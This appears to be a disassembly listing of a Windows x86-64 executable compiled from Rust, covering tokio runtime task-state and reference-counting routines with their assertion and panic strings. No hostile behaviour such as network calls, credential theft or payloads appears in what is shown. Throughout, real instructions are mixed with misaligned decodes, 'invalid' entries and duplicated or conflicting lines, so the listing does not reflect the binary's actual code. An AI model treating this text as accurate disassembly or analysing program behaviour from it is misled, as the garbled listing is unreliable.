mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
adc eax, 0x54a0f
adc eax, 0x54a0f
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
sub al, 0xf
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f6ba
test eax, eax
jne 0x14008f6f4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
sub al, 0xf
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
lea edx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
jmp 0x14008f6f4
test al, 0x10
je 0x14008f6f4
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14008f837
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x10]
add bh, bh
push rax
adc byte [rax - 0x73], cl
jle 0x14008f718
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec330
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
and cl, al
loopne 0x14008f71f
and cl, al
loopne 0x14008f71f
invalid
neg rax
lock xadd qword [rsi], rax
shr rax, 6
rol dword [rsi], 0x48
shr eax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14008f7cb
wait
add byte [rax], al
invalid
wait
add byte [rax], al
add byte [rbp + 0x56], dh
jne 0x14008f788
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14008f743
mov rcx, rdi
call fcn.140068890
xchg ecx, eax
std
invalid
xchg r9, rax
xchg ecx, eax
std
dec dword [rax - 0x73]
xor al, r13b
je 0x14008f747
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
add byte [rax], al
add byte [rax - 0x7b], cl
test eax, eax
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
test eax, eax
je 0x14008f762
invalid
invalid
invalid
test eax, eax
je 0x14008f762
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
or eax, 0xf2af3
or eax, 0xf2af3
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
add eax, 0xbf26f
add eax, 0xbf26f
mov edx, 0x23
call fcn.140108630
jge 0x14008f73f
invalid
invalid
add byte [rax], al
add al, ch
jge 0x14008f73f
invalid
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
or eax, dword [rax]
or eax, dword [rax]
mov edx, 0x25
call fcn.140108630
add byte [rax], al
add al, ch
mov es, word gs:[rdi]
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
and al, 0x28
sub byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012cc0]
add eax, 0xfff834df
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
invalid
js 0x14008f83e
lea rax, str.current:___sub:_p
lea eax, [0x14014ea80]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
add byte [rax - 0x39], cl
and al, 0x50
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x50
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x60]
and al, 0x60
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x14014eaa0]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xbf273
lea rcx, [rsp + 0x30]
call fcn.140108560
invalid
lea eax, [rdi]
invalid
sub dword [rbp - 0x72b7fff9], ecx
add eax, 0xbee0a
out dx, al
or eax, dword [rax]
lea rax, str.waker_missing
out dx, al
or eax, dword [rax]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x38], 1
add byte [rax - 0x39], cl
and al, 0x40
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
call fcn.140108560
int3
sub dword [rsp + 0x90], esi
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14008f8aa
nop dword [rax]
mov rcx, rax
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xe1
and rcx, 0xfffffffffffffff8
and rcx, 0xfffffffffffffff8
loope 0x14008f88f
or rcx, 1
mov edx, eax
ret 0xeac0
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
je 0x14008f8d5
ret 0xeac0
test al, 4
je 0x14008ff21
test al, 3
je 0x14008f890
retf 0xf002
jne 0x14008f8aa
movzx eax, dl
lea rcx, [0x14017872c]
or eax, 0xe8e4d
or eax, 0xe8e4d
mov cs, word [rsi]
add byte [rax + 0x63], cl
add al, 0x81
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea eax, [0x14014ed10]
mov qword [rsp + 0x30], rax
xor byte [rax - 0x77], cl
je 0x14008f91c
cmp byte [rax - 0x73], cl
and al, 0x30
and al, 0x30
xor byte [rax - 0x77], cl
je 0x14008f91c
cmp byte [rax - 0x73], cl
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
cmp dword [rsi + 0x30], 2
xor byte [rdx], al
xor byte [rdx], al
jae 0x14008ff51
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
invalid
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x1400733b1.72
xorps xmm6, xmm6
test eax, eax
jne 0x14008f9a3
or al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
lea edx, [0x1400e4030]
add eax, 0x4db1e800
call fcn.1400d4720
add al, 0
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
verr word [rbp + 0x48]
mov ecx, dword [0x58]
and eax, 0x58
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], dh
adc byte [rax + 0xf0], dh
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov dword [rax + 0xf8], ebx
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 0xf8], ebx
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
lea edx, [rsp + 0x40]
mov rcx, rdi
call fcn.14008bf60
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
or al, 0xca
movzx ecx, byte [rcx + 0x120]
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je 0x14008fa05
add dword [rsi + rsi - 0x7b], esi
leave
test ecx, ecx
jne 0x14008fa21
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
invalid
cmp ebp, dword [rcx]
verr word [rbp + 0x48]
mov edx, dword [0x58]
invalid
add byte [rbx + rcx*4 + 0x34], cl
retf 0x8d49
mov r14, qword [rdx + rcx*8]
lea rcx, [r14 + 0xd0]
add byte [rax], al
add byte [rax], al
lea rdx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
mov byte [r14 + 0x120], 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14008fc33
mov rcx, rsi
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x14017873c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x77], r9b
bnd call fcn.1400eaa70
mov rdx, rsi
call fcn.1400eaa70
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008ff89
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14008fa42.0
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14008fa86
call fcn.140069420
std
dec dword [rax - 0x77]
stc
mov rcx, rdi
jmp 0x14008faa2
xor al, r13b
sbb edx, edi
invalid
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14008fabd
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov eax, dword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14008fa42.0
verr word [rbp + 0x48]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je case.0x140031ef2.1578
xorps xmm6, xmm6
test eax, eax
jne 0x14008fb58
pop rcx
pop rcx
mov eax, dword [0x140182314]
add eax, 0xf280f
sub byte [rdi], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x54510
call fcn.1400d4720
mov byte [rbx + 0x120], 1
and dword [rax], 1
add byte [rax], al
invalid
and dword [rax], 1
add byte [rax], al
add dword [rbx + 0xf27e205], ecx
mov eax, dword [0x140182314]
invalid
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
verr word [rbp + 0x48]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008f4c0
pop rsp
stc
invalid
dec dword [rax - 0x39]
xor byte [rbx], r8b
add byte [rax], al
invalid
pop rsp
stc
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x14008fbc0
test eax, eax
jne 0x14008fdf3
test dword [rax + 2], esp
add byte [rax], al
test dword [rax + 2], esp
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
add eax, 0xf274e
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
lock add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
invalid
lock add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rbx + 0xf273005], cl
add byte [rbp + 0x48], ah
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
add byte [rax], al
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
jmp 0x14008fd6c
mov rbx, qword [rsi + 0x28]
cmp cl, 1
invalid
je 0x14008fc74
sub byte [rax + 0x387401f9], al
add dword [rax + rdi + 0xf], esi
mov dh, 0xc1
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14008fca0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
add al, ch
mov ah, 0x4a
add al, 0
add al, ch
mov ah, 0x4a
add al, 0
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
ror dword [rdi], 0x10
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008f4c0
invalid
dec dword [rax - 0x39]
invalid
add eax, dword [rax]
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
clc
invalid
je 0x14008fd03
clc
add dword [rbp + rsi - 0x7b], esi
test eax, eax
jne 0x14008fe3e
test dword [rax + 1], ebp
add byte [rax], al
mov eax, dword [0x140182314]
test eax, eax
jne 0x14008fe3e
test dword [rax + 1], ebp
add byte [rax], al
test dword [rax + 1], ebp
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x4865000f
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
mov ecx, edi
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
xorps xmm0, xmm0
movups xmmword [rsi + 0x38], xmm0
mov qword [rsi + 0x48], 0
mov dword [rsi + 0x48], 0
mov dword [rsi + 0x48], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008fdbc
test eax, eax
jne 0x14008fdd6
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
add byte [rdx + 5], 0
add byte [rdx + 5], 0
call fcn.1400d4720
mov byte [rdi + 0x120], 1
add dh, al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
call 0x140090680
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
cmp eax, 1
je 0x14008fbde
xorps xmm6, xmm6
test eax, eax
jne 0x14008fc0a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
jmp 0x14008fbde
test byte [rbp - 0x87af040], 0xfe
invalid
and byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx], al
add dword [rbx + 0xf242d05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add dword [rbx + 0xf242d05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008f4c0
mov qword [rdi], 3
jmp 0x14008fb6c
invalid
dec dword [rax - 0x73]
or eax, 0xbe9e0
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
in eax, dx
or eax, dword [rax]
in eax, dx
or eax, dword [rax]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
and al, 0x68
add dword [rax], eax
add byte [rax], al
and al, 0x68
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
out 0xb, al
add byte [rax - 0x73], cl
and al, 0x60
out 0xb, al
add byte [rax - 0x73], cl
and al, 0x60
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
clc
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
int3
add byte [rax], al
add al, ch
call fcn.1400e6a00
test al, al
je 0x1400900a6
mov rax, qword [rdi + 0x30]
mov qword [rdi + 0x30], 3
cmp rax, 2
jne 0x1400900ae
call fcn.1400e6a00
test al, al
je 0x1400900a6
mov rax, qword [rdi + 0x30]
mov qword [rdi + 0x30], 3
cmp rax, 2
jne 0x1400900ae
movups xmm0, xmmword [rdi + 0x38]
movups xmm1, xmmword [rdi + 0x48]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsi]
cmp rax, 2
je 0x140090095
test rax, rax
je 0x140090095
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x140090095
mov rbx, qword [rsi + 0x10]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
or byte [rax], al
or byte [rax], al
je 0x140090095
cmp qword [rbx + 0x10], 0x11
jb 0x140090083
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x832cb
adc eax, 0x832cb
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rax, str.JoinHandle_polled_after_completion
mov qword [rsp + 0x20], rax
invalid
and al, 0x20
and byte [rax - 0x39], cl
and al, 0x28
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x20]
call fcn.140108560
int3
nop word cs:[rax + rax]
test al, 8
je 0x1400902ac
test al, 2
jne 0x14009012f
mov rcx, rax
and rcx, 0xfffffffffffffff5
lock cmpxchg qword [rsi], rcx
jne 0x140090110
jmp 0x14009022d
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140090186
xorps xmm6, xmm6
test eax, eax
jne 0x1400901b2
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
movabs eax, dword [0x12083c6000445]
add byte [rcx], al
movabs eax, dword [0x12083c6000445]
add byte [rcx], al
add dh, al
and dword [rax], 1
add byte [rax], al
add dword [rbx + 0xf218805], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
mov dword [rax + 0xf8], edi
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
add byte [rax], al
add byte [rbx + 0xf214b05], cl
invalid
add byte [rax], al
add byte [rbx + 0xf214b05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x140090213
test eax, eax
jne 0x14009022d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
mov edi, dword [rcx + rax*8]
mov edi, dword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
adc al, 0x45
add al, 0
adc al, 0x45
add al, 0
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400902c4
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14009029f
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140090260
lea rcx, [rsi + 0x20]
call fcn.140069420
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
dec dword [rax - 0x75]
xchg al, ch
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x14009027f
dec dword [rax - 0x75]
xchg al, ch
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdx + rcx + 0x48], 0x8b
invalid
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
or eax, 0xf1fd6
or eax, 0xf1fd6
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_curr.is_join_interested__
lea r8, [0x14014eb30]
or eax, dword [rax]
or eax, dword [rax]
mov edx, 0x2b
call fcn.140108630
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
add byte [rax], al
add al, ch
push rsp
add dword [rdi], 0
add byte [rax], al
add al, ch
push rsp
add dword [rdi], 0
int3
movaps xmmword [rsp + 0x20], xmm6
and al, 0x20
mov rsi, rcx
mov rax, qword [rcx]
nop word cs:[rax + rax]
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x140090390
test cl, 3
je 0x140090426
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140090659
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400905ff
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400903e5
lea rcx, [rsi + 0x20]
call fcn.140069420
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x140090404
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x82f3a
and eax, 0x82f3a
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14009047d
xorps xmm6, xmm6
test eax, eax
jne 0x1400904a9
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x357401f8], al
add byte [rbx + 0x357401f8], al
test eax, eax
jne 0x14009060e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
add eax, 0xf1ddf
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rbx
mov rcx, rdi
